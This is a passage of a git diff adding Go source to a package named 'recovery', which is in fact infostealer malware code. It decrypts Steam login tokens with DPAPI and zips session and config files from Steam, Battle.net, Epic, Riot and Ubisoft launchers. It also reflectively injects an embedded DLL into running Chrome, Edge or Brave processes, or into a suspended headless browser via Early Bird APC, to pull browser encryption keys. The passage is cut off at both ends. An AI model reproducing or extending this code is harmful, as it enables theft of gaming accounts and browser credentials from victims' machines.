= append(result.Games, types.GameInfo{ + ID: acf["appid"], + Name: acf["name"], + Installed: installed, + }) + } + } + } +} + +func parseACF(data string) map[string]string { + result := map[string]string{} + var inBlock bool + + for _, line := range normLines(data) { + line = strings.TrimLeft(line, "\t ") + if line == "{" { + inBlock = true + continue + } + if line == "}" { + break + } + if !inBlock || line == "" { + continue + } + if strings.HasPrefix(line, `"`) { + key, val := vdfKeyValue(line) + if key != "" { + result[key] = val + } + } + } + return result +} + +func vdfKeyValue(line string) (string, string) { + key := vdfNthQuoted(line, 0) + val := vdfNthQuoted(line, 1) + return key, val +} + +func vdfValue(line string) string { + return vdfNthQuoted(line, 1) +} + +func vdfNthQuoted(line string, n int) string { + count := 0 + i := 0 + for count <= n && i < len(line) { + start := strings.Index(line[i:], `"`) + if start == -1 { + return "" + } + start += i + 1 + end := strings.Index(line[start:], `"`) + if end == -1 { + if count == n { + return line[start:] + } + return "" + } + if count == n { + return line[start : start+end] + } + i = start + end + 1 + count++ + } + return "" +} + +func extractSteamTokens(steamPath, localVdfPath string) []string { + loginUsersPath := filepath.Join(steamPath, "config", "loginusers.vdf") + if !pathExists(loginUsersPath) { + loginUsersPath = filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "config", "loginusers.vdf") + } + if !pathExists(loginUsersPath) { + return nil + } + + loginData, _ := os.ReadFile(loginUsersPath) + localData, _ := os.ReadFile(localVdfPath) + if loginData == nil || localData == nil { + return nil + } + + accounts := parseVDFAccountNames(string(loginData)) + if len(accounts) == 0 { + return nil + } + + return findSteamTokens(string(localData), accounts) +} + +func parseVDFAccountNames(data string) []string { + var accounts []string + for _, line := range normLines(data) { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, `"AccountName"`) { + val := vdfValue(line) + if val != "" { + accounts = append(accounts, val) + } + } + } + return accounts +} + +func findSteamTokens(data string, accounts []string) []string { + normalized := strings.ReplaceAll(data, "\r\n", "\n") + var tokens []string + + for _, account := range accounts { + prefix := `"` + account + `"` + idx := strings.Index(normalized, prefix) + if idx == -1 { + continue + } + + blockStart := strings.Index(normalized[idx:], "{") + blockEnd := strings.Index(normalized[idx:], "}") + if blockStart == -1 || blockEnd == -1 || blockEnd < blockStart { + continue + } + + block := normalized[idx+blockStart : idx+blockEnd] + tokenStart := strings.Index(block, `"Token"`) + if tokenStart == -1 { + tokenStart = strings.Index(block, `"RefreshToken"`) + } + if tokenStart == -1 { + continue + } + + tokenLine := block[tokenStart:] + if lineEnd := strings.Index(tokenLine, "\n"); lineEnd > 0 { + tokenLine = tokenLine[:lineEnd] + } + + tokenHex := vdfValue(tokenLine) + if len(tokenHex) < 64 { + continue + } + + decrypted := decryptSteamToken(tokenHex, account) + if decrypted != "" { + tokens = append(tokens, account+"."+decrypted) + } + } + + return tokens +} + +func decryptSteamToken(tokenHex, account string) string { + tokenBytes, err := hex.DecodeString(tokenHex) + if err != nil || len(tokenBytes) < 16 { + return "" + } + + entropy := []byte(account) + out, err := dpapiDecrypt(tokenBytes, entropy) + if err != nil || len(out) == 0 { + return "" + } + + return strings.TrimRight(string(out), "\x00") +} + +func dpapiDecrypt(data, entropy []byte) ([]byte, error) { + type blob struct { + cbData uint32 + pbData *byte + } + + var inBlob, outBlob blob + inBlob.cbData = uint32(len(data)) + if len(data) > 0 { + inBlob.pbData = &data[0] + } + + var entPtr uintptr + if len(entropy) > 0 { + entBlob := blob{ + cbData: uint32(len(entropy)), + pbData: &entropy[0], + } + entPtr = uintptr(unsafe.Pointer(&entBlob)) + } + + proc := windows.NewLazySystemDLL("crypt32.dll").NewProc("CryptUnprotectData") + r, _, err := proc.Call( + uintptr(unsafe.Pointer(&inBlob)), + 0, entPtr, 0, 0, 0, + uintptr(unsafe.Pointer(&outBlob)), + ) + if r == 0 { + return nil, err + } + defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData)))) + + out := make([]byte, outBlob.cbData) + copy(out, unsafe.Slice(outBlob.pbData, outBlob.cbData)) + return out, nil +} + +func pathExists(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +func ScanBattleNet() []types.BattleNetResult { + var results []types.BattleNetResult + + bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net") + logf("[gaming] Battle.net dir=%q exists=%v", bnDir, pathExists(bnDir)) + if !pathExists(bnDir) { + return nil + } + + entries, _ := os.ReadDir(bnDir) + for _, e := range entries { + if e.IsDir() { + scanBattleNetRecursive(filepath.Join(bnDir, e.Name()), &results) + } else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") { + results = append(results, types.BattleNetResult{ + Path: filepath.Join(bnDir, e.Name()), + Name: e.Name(), + }) + } + } + + return results +} + +func scanBattleNetRecursive(dir string, results *[]types.BattleNetResult) { + entries, err := os.ReadDir(dir) + if err != nil { + return + } + for _, e := range entries { + if e.IsDir() { + scanBattleNetRecursive(filepath.Join(dir, e.Name()), results) + } else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") { + *results = append(*results, types.BattleNetResult{ + Path: filepath.Join(dir, e.Name()), + Name: e.Name(), + }) + } + } +} + +func ScanEpic() []types.EpicResult { + var results []types.EpicResult + + path := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini") + logf("[gaming] Epic config=%q exists=%v", path, pathExists(path)) + if !pathExists(path) { + return nil + } + + data, err := os.ReadFile(path) + if err != nil || len(data) == 0 { + return nil + } + + content := string(data) + if strings.Contains(content, "RememberMe") || strings.Contains(content, "Offline") { + results = append(results, types.EpicResult{Path: path, Name: "GameUserSettings.ini"}) + } + + return results +} + +func ScanRiot() []types.RiotResult { + var results []types.RiotResult + + riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Data") + logf("[gaming] Riot data dir=%q exists=%v", riotDir, pathExists(riotDir)) + if pathExists(riotDir) { + results = append(results, types.RiotResult{Path: riotDir, Name: "RiotGamesPrivateSettings.yaml"}) + } + + configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Config") + logf("[gaming] Riot config dir=%q exists=%v", configDir, pathExists(configDir)) + if pathExists(configDir) { + results = append(results, types.RiotResult{Path: configDir, Name: "Config"}) + } + + return results +} + +func ScanUplay() []types.UplayResult { + var results []types.UplayResult + + path := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher") + logf("[gaming] Uplay dir=%q exists=%v", path, pathExists(path)) + if pathExists(path) { + results = append(results, types.UplayResult{Path: path, Name: "Ubisoft Game Launcher"}) + } + + return results +} + +const maxZipFile = 50 * 1024 * 1024 + +func ZipSteamSession(steamPath string) ([]byte, error) { + if steamPath == "" || !pathExists(steamPath) { + return nil, os.ErrNotExist + } + + var files []string + + entries, _ := os.ReadDir(steamPath) + for _, e := range entries { + if !e.IsDir() && strings.Contains(e.Name(), "ssfn") { + if info, _ := e.Info(); info != nil && info.Size() < maxZipFile { + files = append(files, filepath.Join(steamPath, e.Name())) + } + } + } + + configDir := filepath.Join(steamPath, "config") + for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} { + p := filepath.Join(configDir, name) + if pathExists(p) { + files = append(files, p) + } + } + + localVdf := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf") + if pathExists(localVdf) { + files = append(files, localVdf) + } + + if len(files) == 0 { + return nil, os.ErrNotExist + } + logf("[gaming] ZipSteamSession: %d files from %s", len(files), steamPath) + return ziputil.ZipFiles(files, filepath.Dir(steamPath)) +} + +func ZipBattleNet() ([]byte, error) { + bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net") + if !pathExists(bnDir) { + return nil, os.ErrNotExist + } + return ziputil.ZipDirectory(bnDir) +} + +func ZipEpic() ([]byte, error) { + configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows") + if !pathExists(configDir) { + return nil, os.ErrNotExist + } + return ziputil.ZipDirectory(configDir) +} + +func ZipRiot() ([]byte, error) { + riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client") + if !pathExists(riotDir) { + return nil, os.ErrNotExist + } + + var files []string + for _, sub := range []string{"Data", "Config"} { + d := filepath.Join(riotDir, sub) + if !pathExists(d) { + continue + } + filepath.Walk(d, func(path string, info os.FileInfo, err error) error { + if err != nil || info.IsDir() || info.Size() > maxZipFile { + return nil + } + files = append(files, path) + return nil + }) + } + if len(files) == 0 { + return nil, os.ErrNotExist + } + return ziputil.ZipFiles(files, riotDir) +} + +func ZipUplay() ([]byte, error) { + uplayDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher") + if !pathExists(uplayDir) { + return nil, os.ErrNotExist + } + return ziputil.ZipDirectory(uplayDir) +} diff --git a/native/recovery/log.go b/native/recovery/log.go new file mode 100644 index 0000000..ddc9143 --- /dev/null +++ b/native/recovery/log.go @@ -0,0 +1,26 @@ +package recovery + +import ( + "fmt" + "log" + "sync" +) + +func logf(format string, args ...interface{}) { + log.Printf("[recovery] "+format, args...) +} + +func safeRecover(where string) { + if r := recover(); r != nil { + logf("panic recovered in %s: %v", where, r) + } +} + +func recoverErrors(where string, errs *[]string, mu *sync.Mutex) { + if r := recover(); r != nil { + logf("panic recovered in %s: %v", where, r) + mu.Lock() + *errs = append(*errs, fmt.Sprintf("%s: %v", where, r)) + mu.Unlock() + } +} diff --git a/native/recovery/platform/embedded_dll.go b/native/recovery/platform/embedded_dll.go new file mode 100644 index 0000000..8751b29 --- /dev/null +++ b/native/recovery/platform/embedded_dll.go @@ -0,0 +1,14 @@ +//go:build windows + +package platform + +import ( + _ "embed" +) + +//go:embed recovery-key-extractor.dll +var embeddedDLL []byte + +func GetEmbeddedDLL() []byte { + return embeddedDLL +} diff --git a/native/recovery/platform/embedded_dll_stub.go b/native/recovery/platform/embedded_dll_stub.go new file mode 100644 index 0000000..2fb00cc --- /dev/null +++ b/native/recovery/platform/embedded_dll_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package platform + +func GetEmbeddedDLL() []byte { + return nil +} diff --git a/native/recovery/platform/inject.go b/native/recovery/platform/inject.go new file mode 100644 index 0000000..bac3e2e --- /dev/null +++ b/native/recovery/platform/inject.go @@ -0,0 +1,631 @@ +//go:build windows + +package platform + +import ( + "encoding/base64" + "encoding/binary" + "fmt" + "os" + "path/filepath" + "strings" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +var ( + modKernel32Inj = windows.NewLazySystemDLL("kernel32.dll") + procVirtualAllocEx = modKernel32Inj.NewProc("VirtualAllocEx") + procVirtualFreeEx = modKernel32Inj.NewProc("VirtualFreeEx") + procCreateRemoteThread = modKernel32Inj.NewProc("CreateRemoteThread") + procQueueUserAPC = modKernel32Inj.NewProc("QueueUserAPC") + modNtdllInj = windows.NewLazySystemDLL("ntdll.dll") + procNtQueryInformationProcess = modNtdllInj.NewProc("NtQueryInformationProcess") +) + +// processBasicInformation mirrors PROCESS_BASIC_INFORMATION (x64). +type processBasicInformation struct { + Reserved1 uintptr + PebBaseAddress uintptr + Reserved2 [2]uintptr + UniqueProcessId uintptr + Reserved3 uintptr +} + +// unicodeString mirrors UNICODE_STRING. +type unicodeString struct { + Length uint16 + MaximumLength uint16 + Buffer uintptr +} + +// processCommandLine returns the full command line of a process by walking its +// PEB (x64 offsets). Used to distinguish the main browser process from its +// renderer/GPU/utility subprocesses. +func processCommandLine(pid uint32) (string, error) { + hProcess, err := windows.OpenProcess( + windows.PROCESS_QUERY_LIMITED_INFORMATION|windows.PROCESS_VM_READ, false, pid) + if err != nil { + return "", err + } + defer windows.CloseHandle(hProcess) + + var pbi processBasicInformation + var retLen uint32 + status, _, _ := procNtQueryInformationProcess.Call( + uintptr(hProcess), 0, uintptr(unsafe.Pointer(&pbi)), + unsafe.Sizeof(pbi), uintptr(unsafe.Pointer(&retLen)), + ) + if status != 0 || pbi.PebBaseAddress == 0 { + return "", fmt.Errorf("NtQueryInformationProcess: 0x%x", status) + } + + // PEB.ProcessParameters (offset 0x20 on x64). + var procParams uintptr + if err := windows.ReadProcessMemory(hProcess, pbi.PebBaseAddress+0x20, + (*byte)(unsafe.Pointer(&procParams)), unsafe.Sizeof(procParams), nil); err != nil { + return "", err + } + if procParams == 0 { + return "", fmt.Errorf("no process parameters") + } + + // RTL_USER_PROCESS_PARAMETERS.CommandLine (offset 0x70 on x64). + var cmdLine unicodeString + if err := windows.ReadProcessMemory(hProcess, procParams+0x70, + (*byte)(unsafe.Pointer(&cmdLine)), unsafe.Sizeof(cmdLine), nil); err != nil { + return "", err + } + if cmdLine.Length == 0 || cmdLine.Buffer == 0 { + return "", fmt.Errorf("no command line") + } + + buf := make([]uint16, cmdLine.Length/2) + if err := windows.ReadProcessMemory(hProcess, cmdLine.Buffer, + (*byte)(unsafe.Pointer(&buf[0])), uintptr(cmdLine.Length), nil); err != nil { + return "", err + } + return syscall.UTF16ToString(buf), nil +} + +func orderedBrowserPIDs(exeName string) []uint32 { + pids, err := FindProcesses(exeName) + if err != nil || len(pids) <= 1 { + return pids + } + for i, pid := range pids { + if cmdline, err := processCommandLine(pid); err == nil && !strings.Contains(cmdline, "--type=") { + if i != 0 { + pids[0], pids[i] = pids[i], pids[0] + } + return pids + } + } + return pids +} + +// findReflectiveLoaderOffset parses the PE export table in file layout and +// returns the file offset of the ReflectiveLoader export function. +func findReflectiveLoaderOffset(pe []byte) (uint32, error) { + if len(pe) < 64 || pe[0] != 'M' || pe[1] != 'Z' { + return 0, fmt.Errorf("not a valid PE") + } + lfanew := binary.LittleEndian.Uint32(pe[60:]) + if int(lfanew)+24 > len(pe) { + return 0, fmt.Errorf("truncated PE header") + } + if binary.LittleEndian.Uint32(pe[lfanew:]) != 0x00004550 { + return 0, fmt.Errorf("bad PE signature") + } + + coffOff := lfanew + 4 + numSections := binary.LittleEndian.Uint16(pe[coffOff+2:]) + optHeaderSize := binary.LittleEndian.Uint16(pe[coffOff+16:]) + optHeaderOff := coffOff + 20 + + if int(optHeaderOff)+4 > len(pe) { + return 0, fmt.Errorf("truncated optional header") + } + magic := binary.LittleEndian.Uint16(pe[optHeaderOff:]) + + var exportRVA uint32 + switch magic { + case 0x10b: // PE32 + if int(optHeaderOff)+100 > len(pe) { + return 0, fmt.Errorf("PE32 optional header too short") + } + exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+96:]) + case 0x20b: // PE32+ + if int(optHeaderOff)+116 > len(pe) { + return 0, fmt.Errorf("PE32+ optional header too short") + } + exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+112:]) + default: + return 0, fmt.Errorf("unknown PE magic 0x%x", magic) + } + + sectionOff := optHeaderOff + uint32(optHeaderSize) + + // rva2fo converts a virtual RVA to a file offset via the section table. + rva2fo := func(rva uint32) uint32 { + for i := uint16(0); i < numSections; i++ { + off := sectionOff + uint32(i)*40 + if int(off)+40 > len(pe) { + break + } + // IMAGE_SECTION_HEADER layout: + // +0 Name[8] + // +8 VirtualSize + // +12 VirtualAddress + // +16 SizeOfRawData + // +20 PointerToRawData + vAddr := binary.LittleEndian.Uint32(pe[off+12:]) + vSize := binary.LittleEndian.Uint32(pe[off+8:]) + rawPtr := binary.LittleEndian.Uint32(pe[off+20:]) + rawSize := binary.LittleEndian.Uint32(pe[off+16:]) + span := vSize + if rawSize > span { + span = rawSize + } + if rva >= vAddr && rva < vAddr+span { + delta := rva - vAddr + if delta < rawSize { + return rawPtr + delta + } + } + } + // RVA might be in the PE headers (before the first section). + if numSections > 0 { + firstRaw := binary.LittleEndian.Uint32(pe[sectionOff+20:]) + if rva < firstRaw { + return rva + } + } + return 0 + } + + exportFO := rva2fo(exportRVA) + if exportFO == 0 || int(exportFO)+40 > len(pe) { + return 0, fmt.Errorf("invalid export directory") + } + + // IMAGE_EXPORT_DIRECTORY offsets: + // +20 NumberOfFunctions + // +24 NumberOfNames + // +28 AddressOfFunctions + // +32 AddressOfNames + // +36 AddressOfNameOrdinals + numNames := binary.LittleEndian.Uint32(pe[exportFO+24:]) + functionsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+28:])) + namesFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+32:])) + ordinalsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+36:])) + + for i := uint32(0); i < numNames; i++ { + if int(namesFO+i*4+4) > len(pe) { + break + } + nameFO := rva2fo(binary.LittleEndian.Uint32(pe[namesFO+i*4:])) + if nameFO == 0 || int(nameFO) >= len(pe) { + continue + } + name := pe[nameFO:] + found := false + for k := 0; k < 64 && int(nameFO)+k+16 <= len(pe); k++ { + if name[k] == 0 { + break + } + if name[k] == 'R' && string(name[k:k+16]) == "ReflectiveLoader" { + found = true + break + } + } + if !found { + continue + } + if int(ordinalsFO+i*2+2) > len(pe) { + break + } + ordinal := uint32(binary.LittleEndian.Uint16(pe[ordinalsFO+i*2:])) + if int(functionsFO+ordinal*4+4) > len(pe) { + break + } + funcFO := rva2fo(binary.LittleEndian.Uint32(pe[functionsFO+ordinal*4:])) + if funcFO != 0 { + return funcFO, nil + } + } + return 0, fmt.Errorf("ReflectiveLoader export not found") +} + +// writeReflectiveDLL allocates RWX memory in hProcess, writes the full DLL image +// followed by the UTF-16 pipe name, and returns the remote addresses of the +// ReflectiveLoader entry point and the pipe name. The pipe name is passed to +// the loader as lpParameter so it reaches DllMain without relying on an +// inherited environment variable (which running browsers do not have). +func writeReflectiveDLL(hProcess windows.Handle, dllBytes []byte, pipeName string) (loaderAddr, pipeNameAddr uintptr, err error) { + loaderOff, err := findReflectiveLoaderOffset(dllBytes) + if err != nil { + return 0, 0, fmt.Errorf("find reflective loader: %w", err) + } + + pipeW, err := syscall.UTF16FromString(pipeName) + if err != nil { + return 0, 0, fmt.Errorf("utf16 pipe name: %w", err) + } + pipeBytes := len(pipeW) * 2 + total := len(dllBytes) + pipeBytes + + remoteMem, _, _ := procVirtualAllocEx.Call( + uintptr(hProcess), 0, uintptr(total), + windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE, + ) + if remoteMem == 0 { + return 0, 0, fmt.Errorf("VirtualAllocEx failed") + } + + var written uintptr + if err := windows.WriteProcessMemory(hProcess, remoteMem, &dllBytes[0], uintptr(len(dllBytes)), &written); err != nil { + procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE) + return 0, 0, fmt.Errorf("WriteProcessMemory: %w", err) + } + + pipeNameAddr = remoteMem + uintptr(len(dllBytes)) + pipeBuf := unsafe.Slice((*byte)(unsafe.Pointer(&pipeW[0])), pipeBytes) + if err := windows.WriteProcessMemory(hProcess, pipeNameAddr, &pipeBuf[0], uintptr(pipeBytes), &written); err != nil { + procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE) + return 0, 0, fmt.Errorf("WriteProcessMemory pipe: %w", err) + } + + return remoteMem + uintptr(loaderOff), pipeNameAddr, nil +} + +func createKillOnCloseJob() (windows.Handle, error) { + job, err := windows.CreateJobObject(nil, nil) + if err != nil { + return 0, fmt.Errorf("CreateJobObject: %w", err) + } + var info windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION + info.BasicLimitInformation.LimitFlags |= windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE + _, err = windows.SetInformationJobObject(job, windows.JobObjectExtendedLimitInformation, + uintptr(unsafe.Pointer(&info)), uint32(unsafe.Sizeof(info))) + if err != nil { + windows.CloseHandle(job) + return 0, fmt.Errorf("SetInformationJobObject: %w", err) + } + return job, nil +} + +// InjectDLL reflectively injects the DLL into a running process via CreateRemoteThread. +// The DLL bytes are written directly into the target process — no temp file on disk. +func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) { + hProcess, err := windows.OpenProcess( + windows.PROCESS_CREATE_THREAD|windows.PROCESS_QUERY_INFORMATION| + windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ, + false, targetPID) + if err != nil { + return nil, fmt.Errorf("OpenProcess(%d): %w", targetPID, err) + } + + loaderAddr, pipeNameAddr, err := writeReflectiveDLL(hProcess, dllBytes, pipeName) + if err != nil { + windows.CloseHandle(hProcess) + return nil, err + } + + hThread, _, lerr := procCreateRemoteThread.Call(uintptr(hProcess), 0, 0, loaderAddr, pipeNameAddr, 0, 0) + if hThread == 0 { + windows.CloseHandle(hProcess) + return nil, fmt.Errorf("CreateRemoteThread: %w", lerr) + } + windows.CloseHandle(windows.Handle(hThread)) + + logf("DLL reflectively injected into PID %d", targetPID) + + return &PipeSession{ + pid: targetPID, + hProcess: hProcess, + }, nil +} + +func cleanupInjection(hProcess windows.Handle, addr uintptr) { + procVirtualFreeEx.Call(uintptr(hProcess), addr, 0, windows.MEM_RELEASE) + windows.CloseHandle(hProcess) +} + +// CreatePipeSession creates a named pipe, reflectively injects the DLL into an +// existing browser process (passing the pipe name via lpParameter), and waits +// for connection. Falls back to creating a new headless browser process if +// injection into an existing process fails or times out. +func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) { + pipeName := createPipeName() + logf("creating pipe: %s", pipeName) + + hPipe, err := createPipeServer(pipeName) + if err != nil { + return nil, fmt.Errorf("create pipe server: %w", err) + } + + pids := orderedBrowserPIDs(BrowserExeName(browserName)) + + const maxExistingTries = 3 + if len(pids) > 0 { + for i, pid := range pids { + if i >= maxExistingTries { + logf("reached max existing process attempts (%d) for %s", maxExistingTries, browserName) + break + } + logf("trying existing %s PID %d", browserName, pid) + s, err := InjectDLL(dllBytes, pipeName, pid) + if err != nil { + logf("inject PID %d failed: %v", pid, err) + continue + } + s.watchExit(fmt.Sprintf("existing %s", browserName), 2000) + if err := waitPipeConnect(hPipe, 2000); err != nil { + logf("pipe connect timeout for PID %d", pid) + s.Close() + procDisconnectNamedPipe.Call(uintptr(hPipe)) + windows.CloseHandle(hPipe) + hPipe, err = createPipeServer(pipeName) + if err != nil { + return nil, fmt.Errorf("recreate pipe: %w", err) + } + continue + } + s.hPipe = hPipe + ActivePipeSession = s + logf("pipe session established with existing %s (PID %d)", browserName, pid) + return s, nil + } + logf("failed to inject into existing %s processes, will try creating new process", browserName) + } else { + logf("no running %s found, will create new headless process", browserName) + } + + s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName) + if err != nil { + windows.CloseHandle(hPipe) + return nil, fmt.Errorf("create and inject browser: %w", err) + } + s.watchExit(fmt.Sprintf("spawned %s", browserName), 8000) + + if err := waitPipeConnect(hPipe, 5000); err != nil { + logf("pipe connect timeout for new process") + s.Close() + windows.CloseHandle(hPipe) + return nil, fmt.Errorf("pipe connect timeout") + } + + s.hPipe = hPipe + s.ownsProcess = true + ActivePipeSession = s + logf("pipe session established with new %s (PID %d)", browserName, s.pid) + return s, nil +} + +// FindProcesses returns PIDs of running processes matching the given exe name. +func FindProcesses(exeName string) ([]uint32, error) { + if exeName == "" { + return nil, nil + } + hSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0) + if err != nil { + return nil, err + } + defer windows.CloseHandle(hSnapshot) + + var entry windows.ProcessEntry32 + entry.Size = uint32(unsafe.Sizeof(entry)) + if err := windows.Process32First(hSnapshot, &entry); err != nil { + return nil, err + } + + var pids []uint32 + for { + if syscall.UTF16ToString(entry.ExeFile[:]) == exeName { + pids = append(pids, entry.ProcessID) + } + if err := windows.Process32Next(hSnapshot, &entry); err != nil { + break + } + } + return pids, nil +} + +func BrowserExeName(name string) string { + switch name { + case "Chrome": + return "chrome.exe" + case "Edge": + return "msedge.exe" + case "Brave": + return "brave.exe" + } + return "" +} + +// CreateAndInjectBrowser creates a new suspended browser process and reflectively +// injects the DLL via Early Bird APC. No temp file is written to disk. +func CreateAndInjectBrowser(dllBytes []byte, pipeName string, browserName string) (*PipeSession, error) { + browserPath, err := getBrowserPath(browserName) + if err != nil { + return nil, fmt.Errorf("get browser path: %w", err) + } + + browserPathW, err := syscall.UTF16PtrFromString(browserPath) + if err != nil { + return nil, err + } + cmdLine := fmt.Sprintf(`"%s" --headless --disable-gpu --no-sandbox --disable-dev-shm-usage`, browserPath) + cmdLineW, err := syscall.UTF16PtrFromString(cmdLine) + if err != nil { + return nil, err + } + + var si windows.StartupInfo + var pi windows.ProcessInformation + si.Cb = uint32(unsafe.Sizeof(si)) + if err := windows.CreateProcess(browserPathW, cmdLineW, nil, nil, false, + windows.CREATE_SUSPENDED, nil, nil, &si, &pi); err != nil { + return nil, fmt.Errorf("CreateProcess: %w", err) + } + logf("created suspended %s process (PID: %d)", browserName, pi.ProcessId) + + // Create a kill-on-close job and assign the suspended browser to it so the + // whole process tree is reaped when the session closes, even though the + // headless parent self-exits after serving one key. + job, jobErr := createKillOnCloseJob() + if jobErr != nil { + logf("job object unavailable, falling back to TerminateProcess: %v", jobErr) + } else if err := windows.AssignProcessToJobObject(job, pi.Process); err != nil { + logf("AssignProcessToJobObject failed, falling back to TerminateProcess: %v", err) + windows.CloseHandle(job) + job = 0 + } else { + logf("spawned %s (PID %d) assigned to kill-on-close job", browserName, pi.ProcessId) + } + + cleanup := func() { + if job != 0 { + windows.CloseHandle(job) + } + windows.TerminateProcess(pi.Process, 0) + windows.CloseHandle(pi.Process) + windows.CloseHandle(pi.Thread) + } + + loaderAddr, pipeNameAddr, err := writeReflectiveDLL(pi.Process, dllBytes, pipeName) + if err != nil { + cleanup() + return nil, err + } + + // Queue APC to the main thread — fires on its first alertable wait after resume. + ret, _, aerr := procQueueUserAPC.Call(loaderAddr, uintptr(pi.Thread), pipeNameAddr) + if ret == 0 { + cleanup() + return nil, fmt.Errorf("QueueUserAPC: %w", aerr) + } + logf("queued APC for reflective loader") + + if _, err := windows.ResumeThread(pi.Thread); err != nil { + cleanup() + return nil, fmt.Errorf("ResumeThread: %w", err) + } + logf("resumed process main thread") + + return &PipeSession{ + pid: pi.ProcessId, + hProcess: pi.Process, + ownsProcess: true, + job: job, + }, nil +} + +func getBrowserPath(browserName string) (string, error) { + var paths []string + switch browserName { + case "Chrome": + paths = []string{ + filepath.Join(os.Getenv("ProgramFiles"), "Google", "Chrome", "Application", "chrome.exe"), + filepath.Join(os.Getenv("ProgramFiles(x86)"), "Google", "Chrome", "Application", "chrome.exe"), + filepath.Join(os.Getenv("LOCALAPPDATA"), "Google", "Chrome", "Application", "chrome.exe"), + } + case "Edge": + paths = []string{ + filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "Edge", "Application", "msedge.exe"), + filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "Edge", "Application", "msedge.exe"), + } + case "Brave": + paths = []string{ + filepath.Join(os.Getenv("ProgramFiles"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"), + filepath.Join(os.Getenv("ProgramFiles(x86)"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"), + filepath.Join(os.Getenv("LOCALAPPDATA"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"), + } + default: + return "", fmt.Errorf("unknown browser: %s", browserName) + } + for _, p := range paths { + if _, err := os.Stat(p); err == nil { + return p, nil + } + } + return "", fmt.Errorf("%s not found", browserName) +} + +// TryV20KeyViaBrowserSession attempts to decrypt a V20 key by injecting a DLL +// into a browser process and communicating via named pipe. +func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) { + dllBytes := GetEmbeddedDLL() + if dllBytes == nil { + return nil, fmt.Errorf("no embedded DLL") + } + + pids := orderedBrowserPIDs(processName) + if len(pids) == 0 && browserName == "Chrome" { + return nil, fmt.Errorf("no running Chrome processes for V20") + } + + pipeName := createPipeName() + hPipe, err := createPipeServer(pipeName) + if err != nil { + return nil, fmt.Errorf("create pipe: %w", err) + } + + const maxTries = 3 + for i, pid := range pids { + if i >= maxTries { + break + } + s, injErr := InjectDLL(dllBytes, pipeName, pid) + if injErr != nil { + logf("V20 inject %s PID %d: %v", browserName, pid, injErr) + continue + } + s.watchExit(fmt.Sprintf("V20 %s", browserName), 2000) + if connErr := waitPipeConnect(hPipe, 1000); connErr != nil { + logf("V20 pipe timeout for %s PID %d", browserName, pid) + procDisconnectNamedPipe.Call(uintptr(hPipe)) + windows.CloseHandle(hPipe) + hPipe, err = createPipeServer(pipeName) + if err != nil { + return nil, fmt.Errorf("recreate pipe: %w", err) + } + continue + } + s.hPipe = hPipe + encB64 := base64.StdEncoding.EncodeToString(encBlob) + key, keyErr := s.GetV20Key(browserName, encB64) + s.Close() + return key, keyErr + } + + if browserName == "Chrome" { + windows.CloseHandle(hPipe) + tried := len(pids) + if tried > maxTries { + tried = maxTries + } + return nil, fmt.Errorf("V20 session failed for Chrome (tried %d existing PIDs)", tried) + } + + logf("existing %s PIDs failed for V20, launching headless process", browserName) + s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName) + if err != nil { + windows.CloseHandle(hPipe) + return nil, fmt.Errorf("create headless %s for V20: %w", browserName, err) + } + s.watchExit(fmt.Sprintf("V20 spawned %s", browserName), 8000) + if connErr := waitPipeConnect(hPipe, 5000); connErr != nil { + s.Close() + windows.CloseHandle(hPipe) + return nil, fmt.Errorf("pipe connect timeout for new headless %s", browserName) + } + s.hPipe = hPipe + encB64 := base64.StdEncoding.EncodeToString(encBlob) + key, keyErr := s.GetV20Key(browserName, encB64) + s.Close() + return key, keyErr +} diff --git a/native/recovery/platform/inject_stub.go b/native/recovery/platform/inject_stub.go new file mode 100644 index 0000000..870b4c6 --- /dev/null +++ b/native/recovery/platform/inject_stub.go @@ -0,0 +1,44 @@ +//go:build !windows + +package platform + +import ( + 